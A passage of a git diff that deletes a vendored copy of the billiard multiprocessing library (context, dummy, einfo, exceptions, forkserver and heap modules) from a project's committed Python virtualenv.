lost_worker_timeout=None, max_restarts=None, - max_restart_freq=1, on_process_up=None, on_process_down=None, - on_timeout_set=None, on_timeout_cancel=None, threads=True, - semaphore=None, putlocks=False, allow_restart=False): - '''Returns a process pool object''' - from .pool import Pool - return Pool(processes, initializer, initargs, maxtasksperchild, - timeout, soft_timeout, lost_worker_timeout, - max_restarts, max_restart_freq, on_process_up, - on_process_down, on_timeout_set, on_timeout_cancel, - threads, semaphore, putlocks, allow_restart, - context=self.get_context()) - - def RawValue(self, typecode_or_type, *args): - '''Returns a shared object''' - from .sharedctypes import RawValue - return RawValue(typecode_or_type, *args) - - def RawArray(self, typecode_or_type, size_or_initializer): - '''Returns a shared array''' - from .sharedctypes import RawArray - return RawArray(typecode_or_type, size_or_initializer) - - def Value(self, typecode_or_type, *args, **kwargs): - '''Returns a synchronized shared object''' - from .sharedctypes import Value - lock = kwargs.get('lock', True) - return Value(typecode_or_type, *args, lock=lock, - ctx=self.get_context()) - - def Array(self, typecode_or_type, size_or_initializer, *args, **kwargs): - '''Returns a synchronized shared array''' - from .sharedctypes import Array - lock = kwargs.get('lock', True) - return Array(typecode_or_type, size_or_initializer, lock=lock, - ctx=self.get_context()) - - def freeze_support(self): - '''Check whether this is a fake forked process in a frozen executable. - If so then run code specified by commandline and exit. - ''' - if sys.platform == 'win32' and getattr(sys, 'frozen', False): - from .spawn import freeze_support - freeze_support() - - def get_logger(self): - '''Return package logger -- if it does not already exist then - it is created. - ''' - from .util import get_logger - return get_logger() - - def log_to_stderr(self, level=None): - '''Turn on logging and add a handler which prints to stderr''' - from .util import log_to_stderr - return log_to_stderr(level) - - def allow_connection_pickling(self): - '''Install support for sending connections and sockets - between processes - ''' - # This is undocumented. In previous versions of multiprocessing - # its only effect was to make socket objects inheritable on Windows. - from . import connection # noqa - - def set_executable(self, executable): - '''Sets the path to a python.exe or pythonw.exe binary used to run - child processes instead of sys.executable when using the 'spawn' - start method. Useful for people embedding Python. - ''' - from .spawn import set_executable - set_executable(executable) - - def set_forkserver_preload(self, module_names): - '''Set list of module names to try to load in forkserver process. - This is really just a hint. - ''' - from .forkserver import set_forkserver_preload - set_forkserver_preload(module_names) - - def get_context(self, method=None): - if method is None: - return self - try: - ctx = _concrete_contexts[method] - except KeyError: - raise ValueError('cannot find context for %r' % method) - ctx._check_available() - return ctx - - def get_start_method(self, allow_none=False): - return self._name - - def set_start_method(self, method=None): - raise ValueError('cannot set start method of concrete context') - - def forking_is_enabled(self): - # XXX for compatibility with billiard <3.4 - return (self.get_start_method() or 'fork') == 'fork' - - def forking_enable(self, value): - # XXX for compatibility with billiard <3.4 - if not value: - from ._ext import supports_exec - if supports_exec: - self.set_start_method('spawn', force=True) - else: - warnings.warn(RuntimeWarning(W_NO_EXECV)) - - def _check_available(self): - pass - -# -# Type of default context -- underlying context can be set at most once -# - - -class Process(process.BaseProcess): - _start_method = None - - @staticmethod - def _Popen(process_obj): - return _default_context.get_context().Process._Popen(process_obj) - - -class DefaultContext(BaseContext): - Process = Process - - def __init__(self, context): - self._default_context = context - self._actual_context = None - - def get_context(self, method=None): - if method is None: - if self._actual_context is None: - self._actual_context = self._default_context - return self._actual_context - else: - return super(DefaultContext, self).get_context(method) - - def set_start_method(self, method, force=False): - if self._actual_context is not None and not force: - raise RuntimeError('context has already been set') - if method is None and force: - self._actual_context = None - return - self._actual_context = self.get_context(method) - - def get_start_method(self, allow_none=False): - if self._actual_context is None: - if allow_none: - return None - self._actual_context = self._default_context - return self._actual_context._name - - def get_all_start_methods(self): - if sys.platform == 'win32': - return ['spawn'] - else: - from . import reduction - if reduction.HAVE_SEND_HANDLE: - return ['fork', 'spawn', 'forkserver'] - else: - return ['fork', 'spawn'] - -DefaultContext.__all__ = list(x for x in dir(DefaultContext) if x[0] != '_') - -# -# Context types for fixed start method -# - -if sys.platform != 'win32': - - class ForkProcess(process.BaseProcess): - _start_method = 'fork' - - @staticmethod - def _Popen(process_obj): - from .popen_fork import Popen - return Popen(process_obj) - - class SpawnProcess(process.BaseProcess): - _start_method = 'spawn' - - @staticmethod - def _Popen(process_obj): - from .popen_spawn_posix import Popen - return Popen(process_obj) - - class ForkServerProcess(process.BaseProcess): - _start_method = 'forkserver' - - @staticmethod - def _Popen(process_obj): - from .popen_forkserver import Popen - return Popen(process_obj) - - class ForkContext(BaseContext): - _name = 'fork' - Process = ForkProcess - - class SpawnContext(BaseContext): - _name = 'spawn' - Process = SpawnProcess - - class ForkServerContext(BaseContext): - _name = 'forkserver' - Process = ForkServerProcess - - def _check_available(self): - from . import reduction - if not reduction.HAVE_SEND_HANDLE: - raise ValueError('forkserver start method not available') - - _concrete_contexts = { - 'fork': ForkContext(), - 'spawn': SpawnContext(), - 'forkserver': ForkServerContext(), - } - _default_context = DefaultContext(_concrete_contexts['fork']) - -else: - - class SpawnProcess(process.BaseProcess): - _start_method = 'spawn' - - @staticmethod - def _Popen(process_obj): - from .popen_spawn_win32 import Popen - return Popen(process_obj) - - class SpawnContext(BaseContext): - _name = 'spawn' - Process = SpawnProcess - - _concrete_contexts = { - 'spawn': SpawnContext(), - } - _default_context = DefaultContext(_concrete_contexts['spawn']) - -# -# Force the start method -# - - -def _force_start_method(method): - _default_context._actual_context = _concrete_contexts[method] - -# -# Check that the current thread is spawning a child process -# - -_tls = threading.local() - - -def get_spawning_popen(): - return getattr(_tls, 'spawning_popen', None) - - -def set_spawning_popen(popen): - _tls.spawning_popen = popen - - -def assert_spawning(obj): - if get_spawning_popen() is None: - raise RuntimeError( - '%s objects should only be shared between processes' - ' through inheritance' % type(obj).__name__ - ) diff --git a/backend/venv/Lib/site-packages/billiard/dummy/__init__.py b/backend/venv/Lib/site-packages/billiard/dummy/__init__.py deleted file mode 100644 index 1ba3e90d..00000000 --- a/backend/venv/Lib/site-packages/billiard/dummy/__init__.py +++ /dev/null @@ -1,166 +0,0 @@ -# -# Support for the API of the multiprocessing package using threads -# -# multiprocessing/dummy/__init__.py -# -# Copyright (c) 2006-2008, R Oudkerk -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions -# are met: -# -# 1. Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# 2. Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# 3. Neither the name of author nor the names of any contributors may be -# used to endorse or promote products derived from this software -# without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS -# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -# SUCH DAMAGE. -# - -# -# Imports -# - -import threading -import sys -import weakref -import array - -from threading import Lock, RLock, Semaphore, BoundedSemaphore -from threading import Event - -from queue import Queue - -from billiard.connection import Pipe - -__all__ = [ - 'Process', 'current_process', 'active_children', 'freeze_support', - 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition', - 'Event', 'Queue', 'Manager', 'Pipe', 'Pool', 'JoinableQueue' -] - - -class DummyProcess(threading.Thread): - - def __init__(self, group=None, target=None, name=None, args=(), kwargs={}): - threading.Thread.__init__(self, group, target, name, args, kwargs) - self._pid = None - self._children = weakref.WeakKeyDictionary() - self._start_called = False - self._parent = current_process() - - def start(self): - assert self._parent is current_process() - self._start_called = True - if hasattr(self._parent, '_children'): - self._parent._children[self] = None - threading.Thread.start(self) - - @property - def exitcode(self): - if self._start_called and not self.is_alive(): - return 0 - else: - return None - - -try: - _Condition = threading._Condition -except AttributeError: # Py3 - _Condition = threading.Condition # noqa - - -class Condition(_Condition): - if sys.version_info[0] == 3: - notify_all = _Condition.notifyAll - else: - notify_all = _Condition.notifyAll.__func__ - - -Process = DummyProcess -current_process = threading.current_thread -current_process()._children = weakref.WeakKeyDictionary() - - -def active_children(): - children = current_process()._children - for p in list(children): - if not p.is_alive(): - children.pop(p, None) - return list(children) - - -def freeze_support(): - pass - - -class Namespace(object): - - def __init__(self, **kwds): - self.__dict__.update(kwds) - - def __repr__(self): - items = list(self.__dict__.items()) - temp = [] - for name, value in items: - if not name.startswith('_'): - temp.append('%s=%r' % (name, value)) - temp.sort() - return '%s(%s)' % (self.__class__.__name__, str.join(', ', temp)) - - -dict = dict -list = list - - -def Array(typecode, sequence, lock=True): - return array.array(typecode, sequence) - - -class Value(object): - - def __init__(self, typecode, value, lock=True): - self._typecode = typecode - self._value = value - - def _get(self): - return self._value - - def _set(self, value): - self._value = value - value = property(_get, _set) - - def __repr__(self): - return '<%r(%r, %r)>' % (type(self).__name__, - self._typecode, self._value) - - -def Manager(): - return sys.modules[__name__] - - -def shutdown(): - pass - - -def Pool(processes=None, initializer=None, initargs=()): - from billiard.pool import ThreadPool - return ThreadPool(processes, initializer, initargs) - - -JoinableQueue = Queue diff --git a/backend/venv/Lib/site-packages/billiard/dummy/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/dummy/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 1b1164a5..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/dummy/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/dummy/__pycache__/connection.cpython-311.pyc b/backend/venv/Lib/site-packages/billiard/dummy/__pycache__/connection.cpython-311.pyc deleted file mode 100644 index bd444a30..00000000 Binary files a/backend/venv/Lib/site-packages/billiard/dummy/__pycache__/connection.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/billiard/dummy/connection.py b/backend/venv/Lib/site-packages/billiard/dummy/connection.py deleted file mode 100644 index fe2de94f..00000000 --- a/backend/venv/Lib/site-packages/billiard/dummy/connection.py +++ /dev/null @@ -1,92 +0,0 @@ -# -# Analogue of `multiprocessing.connection` which uses queues instead of sockets -# -# multiprocessing/dummy/connection.py -# -# Copyright (c) 2006-2008, R Oudkerk -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions -# are met: -# -# 1. Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# 2. Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# 3. Neither the name of author nor the names of any contributors may be -# used to endorse or promote products derived from this software -# without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS -# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -# SUCH DAMAGE. -# - -from queue import Queue - -__all__ = ['Client', 'Listener', 'Pipe'] - -families = [None] - - -class Listener(object): - - def __init__(self, address=None, family=None, backlog=1): - self._backlog_queue = Queue(backlog) - - def accept(self): - return Connection(*self._backlog_queue.get()) - - def close(self): - self._backlog_queue = None - - address = property(lambda self: self._backlog_queue) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - -def Client(address): - _in, _out = Queue(), Queue() - address.put((_out, _in)) - return Connection(_in, _out) - - -def Pipe(duplex=True): - a, b = Queue(), Queue() - return Connection(a, b), Connection(b, a) - - -class Connection(object): - - def __init__(self, _in, _out): - self._out = _out - self._in = _in - self.send = self.send_bytes = _out.put - self.recv = self.recv_bytes = _in.get - - def poll(self, timeout=0.0): - if self._in.qsize() > 0: - return True - if timeout <= 0.0: - return False - self._in.not_empty.acquire() - self._in.not_empty.wait(timeout) - self._in.not_empty.release() - return self._in.qsize() > 0 - - def close(self): - pass diff --git a/backend/venv/Lib/site-packages/billiard/einfo.py b/backend/venv/Lib/site-packages/billiard/einfo.py deleted file mode 100644 index 8ea736ae..00000000 --- a/backend/venv/Lib/site-packages/billiard/einfo.py +++ /dev/null @@ -1,192 +0,0 @@ -import sys -import traceback - -__all__ = ['ExceptionInfo', 'Traceback'] - -DEFAULT_MAX_FRAMES = sys.getrecursionlimit() // 8 - - -class _Code: - - def __init__(self, code): - self.co_filename = code.co_filename - self.co_name = code.co_name - self.co_argcount = code.co_argcount - self.co_cellvars = () - self.co_firstlineno = code.co_firstlineno - self.co_flags = code.co_flags - self.co_freevars = () - self.co_code = b'' - self.co_lnotab = b'' - self.co_names = code.co_names - self.co_nlocals = code.co_nlocals - self.co_stacksize = code.co_stacksize - self.co_varnames = () - if sys.version_info >= (3, 11): - self._co_positions = list(code.co_positions()) - - if sys.version_info >= (3, 11): - @property - def co_positions(self): - return self._co_positions.__iter__ - - -class _Frame: - Code = _Code - - def __init__(self, frame): - self.f_builtins = {} - self.f_globals = { - "__file__": frame.f_globals.get("__file__", "__main__"), - "__name__": frame.f_globals.get("__name__"), - "__loader__": None, - } - self.f_locals = fl = {} - try: - fl["__traceback_hide__"] = frame.f_locals["__traceback_hide__"] - except KeyError: - pass - self.f_back = None - self.f_trace = None - self.f_exc_traceback = None - self.f_exc_type = None - self.f_exc_value = None - self.f_code = self.Code(frame.f_code) - self.f_lineno = frame.f_lineno - self.f_lasti = frame.f_lasti - # don't want to hit https://bugs.python.org/issue21967 - self.f_restricted = False - - if sys.version_info >= (3, 11): - @property - def co_positions(self): - return self.f_code.co_positions - - -class _Object: - - def __init__(self, **kw): - [setattr(self, k, v) for k, v in kw.items()] - - if sys.version_info >= (3, 11): - __default_co_positions__ = ((None, None, None, None),) - - @property - def co_positions(self): - return getattr( - self, - "_co_positions", - self.__default_co_positions__ - ).__iter__ - - @co_positions.setter - def co_positions(self, value): - self._co_positions = value # noqa - - -class _Truncated: - - def __init__(self): - self.tb_lineno = -1 - self.tb_frame = _Object( - f_globals={"__file__": "", - "__name__": "", - "__loader__": None}, - f_fileno=None, - f_code=_Object(co_filename="...", - co_name="[rest of traceback truncated]"), - ) - self.tb_next = None - self.tb_lasti = 0 - - if sys.version_info >= (3, 11): - @property - def co_positions(self): - return self.tb_frame.co_positions - - -class Traceback: - Frame = _Frame - - def __init__(self, tb, max_frames=DEFAULT_MAX_FRAMES, depth=0): - self.tb_frame = self.Frame(tb.tb_frame) - self.tb_lineno = tb.tb_lineno - self.tb_lasti = tb.tb_lasti - self.tb_next = None - if tb.tb_next is not None: - if depth <= max_frames: - self.tb_next = Traceback(tb.tb_next, max_frames, depth + 1) - else: - self.tb_next = _Truncated() - - -class RemoteTraceback(Exception): - def __init__(self, tb): - self.tb = tb - - def __str__(self): - return self.tb - - -class ExceptionWithTraceback(Exception): - def __init__(self, exc, tb): - self.exc = exc - self.tb = '\n"""\n%s"""' % tb - super().__init__() - - def __str__(self): - return self.tb - - def __reduce__(self): - return rebuild_exc, (self.exc, self.tb) - - -def rebuild_exc(exc, tb): - exc.__cause__ = RemoteTraceback(tb) - return exc - - -class ExceptionInfo: - """Exception wrapping an exception and its traceback. - - :param exc_info: The exception info tuple as returned by - :func:`sys.exc_info`. - - """ - - #: Exception type. - type = None - - #: Exception instance. - exception = None - - #: Pickleable traceback instance for use with :mod:`traceback` - tb = None - - #: String representation of the traceback. - traceback = None - - #: Set to true if this is an internal error. - internal = False - - def __init__(self, exc_info=None, internal=False): - self.type, exception, tb = exc_info or sys.exc_info() - try: - self.tb = Traceback(tb) - self.traceback = ''.join( - traceback.format_exception(self.type, exception, tb), - ) - self.internal = internal - finally: - del tb - self.exception = ExceptionWithTraceback(exception, self.traceback) - - def __str__(self): - return self.traceback - - def __repr__(self): - return "<%s: %r>" % (self.__class__.__name__, self.exception, ) - - @property - def exc_info(self): - return self.type, self.exception, self.tb diff --git a/backend/venv/Lib/site-packages/billiard/exceptions.py b/backend/venv/Lib/site-packages/billiard/exceptions.py deleted file mode 100644 index 11e2e7ec..00000000 --- a/backend/venv/Lib/site-packages/billiard/exceptions.py +++ /dev/null @@ -1,52 +0,0 @@ -try: - from multiprocessing import ( - ProcessError, - BufferTooShort, - TimeoutError, - AuthenticationError, - ) -except ImportError: - class ProcessError(Exception): # noqa - pass - - class BufferTooShort(ProcessError): # noqa - pass - - class TimeoutError(ProcessError): # noqa - pass - - class AuthenticationError(ProcessError): # noqa - pass - - -class TimeLimitExceeded(Exception): - """The time limit has been exceeded and the job has been terminated.""" - - def __str__(self): - return "TimeLimitExceeded%s" % (self.args, ) - - -class SoftTimeLimitExceeded(Exception): - """The soft time limit has been exceeded. This exception is raised - to give the task a chance to clean up.""" - - def __str__(self): - return "SoftTimeLimitExceeded%s" % (self.args, ) - - -class WorkerLostError(Exception): - """The worker processing a job has exited prematurely.""" - - -class Terminated(Exception): - """The worker processing a job has been terminated by user request.""" - - -class RestartFreqExceeded(Exception): - """Restarts too fast.""" - - -class CoroStop(Exception): - """Coroutine exit, as opposed to StopIteration which may - mean it should be restarted.""" - pass diff --git a/backend/venv/Lib/site-packages/billiard/forkserver.py b/backend/venv/Lib/site-packages/billiard/forkserver.py deleted file mode 100644 index 9e6a9c91..00000000 --- a/backend/venv/Lib/site-packages/billiard/forkserver.py +++ /dev/null @@ -1,264 +0,0 @@ -import errno -import os -import selectors -import signal -import socket -import struct -import sys -import threading - -from . import connection -from . import process -from . import reduction -from . import semaphore_tracker -from . import spawn -from . import util - -from .compat import spawnv_passfds - -__all__ = ['ensure_running', 'get_inherited_fds', 'connect_to_new_process', - 'set_forkserver_preload'] - -# -# -# - -MAXFDS_TO_SEND = 256 -UNSIGNED_STRUCT = struct.Struct('Q') # large enough for pid_t - -# -# Forkserver class -# - - -class ForkServer: - - def __init__(self): - self._forkserver_address = None - self._forkserver_alive_fd = None - self._inherited_fds = None - self._lock = threading.Lock() - self._preload_modules = ['__main__'] - - def set_forkserver_preload(self, modules_names): - '''Set list of module names to try to load in forkserver process.''' - if not all(type(mod) is str for mod in self._preload_modules): - raise TypeError('module_names must be a list of strings') - self._preload_modules = modules_names - - def get_inherited_fds(self): - '''Return list of fds inherited from parent process. - - This returns None if the current process was not started by fork - server. - ''' - return self._inherited_fds - - def connect_to_new_process(self, fds): - '''Request forkserver to create a child process. - - Returns a pair of fds (status_r, data_w). The calling process can read - the child process's pid and (eventually) its returncode from status_r. - The calling process should write to data_w the pickled preparation and - process data. - ''' - self.ensure_running() - if len(fds) + 4 >= MAXFDS_TO_SEND: - raise ValueError('too many fds') - with socket.socket(socket.AF_UNIX) as client: - client.connect(self._forkserver_address) - parent_r, child_w = os.pipe() - child_r, parent_w = os.pipe() - allfds = [child_r, child_w, self._forkserver_alive_fd, - semaphore_tracker.getfd()] - allfds += fds - try: - reduction.sendfds(client, allfds) - return parent_r, parent_w - except: - os.close(parent_r) - os.close(parent_w) - raise - finally: - os.close(child_r) - os.close(child_w) - - def ensure_running(self): - '''Make sure that a fork server is running. - - This can be called from any process. Note that usually a child - process will just reuse the forkserver started by its parent, so - ensure_running() will do nothing. - ''' - with self._lock: - semaphore_tracker.ensure_running() - if self._forkserver_alive_fd is not None: - return - - cmd = ('from billiard.forkserver import main; ' + - 'main(%d, %d, %r, **%r)') - - if self._preload_modules: - desired_keys = {'main_path', 'sys_path'} - data = spawn.get_preparation_data('ignore') - data = { - x: y for (x, y) in data.items() if x in desired_keys - } - else: - data = {} - - with socket.socket(socket.AF_UNIX) as listener: - address = connection.arbitrary_address('AF_UNIX') - listener.bind(address) - os.chmod(address, 0o600) - listener.listen() - - # all client processes own the write end of the "alive" pipe; - # when they all terminate the read end becomes ready. - alive_r, alive_w = os.pipe() - try: - fds_to_pass = [listener.fileno(), alive_r] - cmd %= (listener.fileno(), alive_r, self._preload_modules, - data) - exe = spawn.get_executable() - args = [exe] + util._args_from_interpreter_flags() - args += ['-c', cmd] - spawnv_passfds(exe, args, fds_to_pass) - except: - os.close(alive_w) - raise - finally: - os.close(alive_r) - self._forkserver_address = address - self._forkserver_alive_fd = alive_w - -# -# -# - - -def main(listener_fd, alive_r, preload, main_path=None, sys_path=None): - '''Run forkserver.''' - if preload: - if '__main__' in preload and main_path is not None: - process.current_process()._inheriting = True - try: - spawn.import_main_path(main_path) - finally: - del process.current_process()._inheriting - for modname in preload: - try: - __import__(modname) - except ImportError: - pass - - # close sys.stdin - if sys.stdin is not None: - try: - sys.stdin.close() - sys.stdin = open(os.devnull) - except (OSError, ValueError): - pass - - # ignoring SIGCHLD means no need to reap zombie processes - handler = signal.signal(signal.SIGCHLD, signal.SIG_IGN) - with socket.socket(socket.AF_UNIX, fileno=listener_fd) as listener, \ - selectors.DefaultSelector() as selector: - _forkserver._forkserver_address = listener.getsockname() - selector.register(listener, selectors.EVENT_READ) - selector.register(alive_r, selectors.EVENT_READ) - - while True: - try: - while True: - rfds = [key.fileobj for (key, events) in selector.select()] - if rfds: - break - - if alive_r in rfds: - # EOF because no more client processes left - assert os.read(alive_r, 1) == b'' - raise SystemExit - - assert listener in rfds - with listener.accept()[0] as s: - code = 1 - if os.fork() == 0: - try: - _serve_one(s, listener, alive_r, handler) - except Exception: - sys.excepthook(*sys.exc_info()) - sys.stderr.flush() - finally: - os._exit(code) - except OSError as e: - if e.errno != errno.ECONNABORTED: - raise - - -def __unpack_fds(child_r, child_w, alive, stfd, *inherited): - return child_r, child_w, alive, stfd, inherited - - -def _serve_one(s, listener, alive_r, handler): - # close unnecessary stuff and reset SIGCHLD handler - listener.close() - os.close(alive_r) - signal.signal(signal.SIGCHLD, handler) - - # receive fds from parent process - fds = reduction.recvfds(s, MAXFDS_TO_SEND + 1) - s.close() - assert len(fds) <= MAXFDS_TO_SEND - - (child_r, child_w, _forkserver._forkserver_alive_fd, - stfd, _forkserver._inherited_fds) = __unpack_fds(*fds) - semaphore_tracker._semaphore_tracker._fd = stfd - - # send pid to client processes - write_unsigned(child_w, os.getpid()) - - # reseed random number generator - if 'random' in sys.modules: - import random - random.seed() - - # run process object received over pipe - code = spawn._main(child_r) - - # write the exit code to the pipe - write_unsigned(child_w, code) - -# -# Read and write unsigned numbers -# - - -def read_unsigned(fd): - data = b'' - length = UNSIGNED_STRUCT.size - while len(data) < length: - s = os.read(fd, length - len(data)) - if not s: - raise EOFError('unexpected EOF') - data += s - return UNSIGNED_STRUCT.unpack(data)[0] - - -def write_unsigned(fd, n): - msg = UNSIGNED_STRUCT.pack(n) - while msg: - nbytes = os.write(fd, msg) - if nbytes == 0: - raise RuntimeError('should not get here') - msg = msg[nbytes:] - -# -# -# - -_forkserver = ForkServer() -ensure_running = _forkserver.ensure_running -get_inherited_fds = _forkserver.get_inherited_fds -connect_to_new_process = _forkserver.connect_to_new_process -set_forkserver_preload = _forkserver.set_forkserver_preload diff --git a/backend/venv/Lib/site-packages/billiard/heap.py b/backend/venv/Lib/site-packages/billiard/heap.py deleted file mode 100644 index 5f940e9c..00000000 --- a/backend/venv/Lib/site-packages/billiard/heap.py +++ /dev/null @@ -1,285 +0,0 @@ -# -# Module which supports allocation of memory from an mmap -# -# multiprocessing/heap.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import bisect -import errno -import io -import mmap -import os -import sys -import threading -import tempfile - -from . import context -from . import reduction -from . import util - -from ._ext import _billiard, win32 - -__all__ = ['BufferWrapper'] - -PY3 = sys.version_info[0] == 3 - -# -# Inheritable class which wraps an mmap, and from which blocks can be allocated -# - -if sys.platform == 'win32': - - class Arena: - - _rand = tempfile._RandomNameSequence() - - def __init__(self, size): - self.size = size - for i in range(100): - name = 'pym-%d-%s' % (os.getpid(), next(self._rand)) - buf = mmap.mmap(-1, size, tagname=name) - if win32.GetLastError() == 0: - break - # we have reopened a preexisting map - buf.close() - else: - exc = IOError('Cannot find name for new mmap') - exc.errno = errno.EEXIST - raise exc - self.name = name - self.buffer = buf - self._state = (self.size, self.name) - - def __getstate__(self): - context.assert_spawning(self) - return self._state - - def __setstate__(self, state): - self.size, self.name = self._state = state - self.buffer = mmap.mmap(-1, self.size, tagname=self.name) - # XXX Temporarily preventing buildbot failures while determining - # XXX the correct long-term fix. See issue #23060 - # assert win32.GetLastError() == win32.ERROR_ALREADY_EXISTS - -else: - - class Arena: - - def __init__(self, size, fd=-1): - self.size = size - self.fd = fd - if fd == -1: - if PY3: - self.fd, name = tempfile.mkstemp( - prefix='pym-%d-' % (os.getpid(),), - dir=util.get_temp_dir(), - ) - - os.unlink(name) - util.Finalize(self, os.close, (self.fd,)) - with io.open(self.fd, 'wb', closefd=False) as f: - bs = 1024 * 1024 - if size >= bs: - zeros = b'\0' * bs - for _ in range(size // bs): - f.write(zeros) - del(zeros) - f.write(b'\0' * (size % bs)) - assert f.tell() == size - else: - self.fd, name = tempfile.mkstemp( - prefix='pym-%d-' % (os.getpid(),), - dir=util.get_temp_dir(), - ) - os.unlink(name) - util.Finalize(self, os.close, (self.fd,)) - os.ftruncate(self.fd, size) - self.buffer = mmap.mmap(self.fd, self.size) - - def reduce_arena(a): - if a.fd == -1: - raise ValueError('Arena is unpicklable because' - 'forking was enabled when it was created') - return rebuild_arena, (a.size, reduction.DupFd(a.fd)) - - def rebuild_arena(size, dupfd): - return Arena(size, dupfd.detach()) - - reduction.register(Arena, reduce_arena) - -# -# Class allowing allocation of chunks of memory from arenas -# - - -class Heap: - - _alignment = 8 - - def __init__(self, size=mmap.PAGESIZE): - self._lastpid = os.getpid() - self._lock = threading.Lock() - self._size = size - self._lengths = [] - self._len_to_seq = {} - self._start_to_block = {} - self._stop_to_block = {} - self._allocated_blocks = set() - self._arenas = [] - # list of pending blocks to free - see free() comment below - self._pending_free_blocks = [] - - @staticmethod - def _roundup(n, alignment): - # alignment must be a power of 2 - mask = alignment - 1 - return (n + mask) & ~mask - - def _malloc(self, size): - # returns a large enough block -- it might be much larger - i = bisect.bisect_left(self._lengths, size) - if i == len(self._lengths): - length = self._roundup(max(self._size, size), mmap.PAGESIZE) - self._size *= 2 - util.info('allocating a new mmap of length %d', length) - arena = Arena(length) - self._arenas.append(arena) - return (arena, 0, length) - else: - length = self._lengths[i] - seq = self._len_to_seq[length] - block = seq.pop() - if not seq: - del self._len_to_seq[length], self._lengths[i] - - (arena, start, stop) = block - del self._start_to_block[(arena, start)] - del self._stop_to_block[(arena, stop)] - return block - - def _free(self, block): - # free location and try to merge with neighbours - (arena, start, stop) = block - - try: - prev_block = self._stop_to_block[(arena, start)] - except KeyError: - pass - else: - start, _ = self._absorb(prev_block) - - try: - next_block = self._start_to_block[(arena, stop)] - except KeyError: - pass - else: - _, stop = self._absorb(next_block) - - block = (arena, start, stop) - length = stop - start - - try: - self._len_to_seq[length].append(block) - except KeyError: - self._len_to_seq[length] = [block] - bisect.insort(self._lengths, length) - - self._start_to_block[(arena, start)] = block - self._stop_to_block[(arena, stop)] = block - - def _absorb(self, block): - # deregister this block so it can be merged with a neighbour - (arena, start, stop) = block - del self._start_to_block[(arena, start)] - del self._stop_to_block[(arena, stop)] - - length = stop - start - seq = self._len_to_seq[length] - seq.remove(block) - if not seq: - del self._len_to_seq[length] - self._lengths.remove(length) - - return start, stop - - def _free_pending_blocks(self): - # Free all the blocks in the pending list - called with the lock held - while 1: - try: - block = self._pending_free_blocks.pop() - except IndexError: - break - self._allocated_blocks.remove(block) - self._free(block) - - def free(self, block): - # free a block returned by malloc() - # Since free() can be called asynchronously by the GC, it could happen - # that it's called while self._lock is held: in that case, - # self._lock.acquire() would deadlock (issue #12352). To avoid that, a - # trylock is used instead, and if the lock can't be acquired - # immediately, the block is added to a list of blocks to be freed - # synchronously sometimes later from malloc() or free(), by calling - # _free_pending_blocks() (appending and retrieving from a list is not - # strictly thread-safe but under cPython it's atomic - # thanks to the GIL). - assert os.getpid() == self._lastpid - if not self._lock.acquire(False): - # can't acquire the lock right now, add the block to the list of - # pending blocks to free - self._pending_free_blocks.append(block) - else: - # we hold the lock - try: - self._free_pending_blocks() - self._allocated_blocks.remove(block) - self._free(block) - finally: - self._lock.release() - - def malloc(self, size): - # return a block of right size (possibly rounded up) - assert 0 <= size < sys.maxsize - if os.getpid() != self._lastpid: - self.__init__() # reinitialize after fork - with self._lock: - self._free_pending_blocks() - size = self._roundup(max(size, 1), self._alignment) - (arena, start, stop) = self._malloc(size) - new_stop = start + size - if new_stop < stop: - self._free((arena, new_stop, stop)) - block = (arena, start, new_stop) - self._allocated_blocks.add(block) - return block - -# -# Class representing a chunk of an mmap -- can be 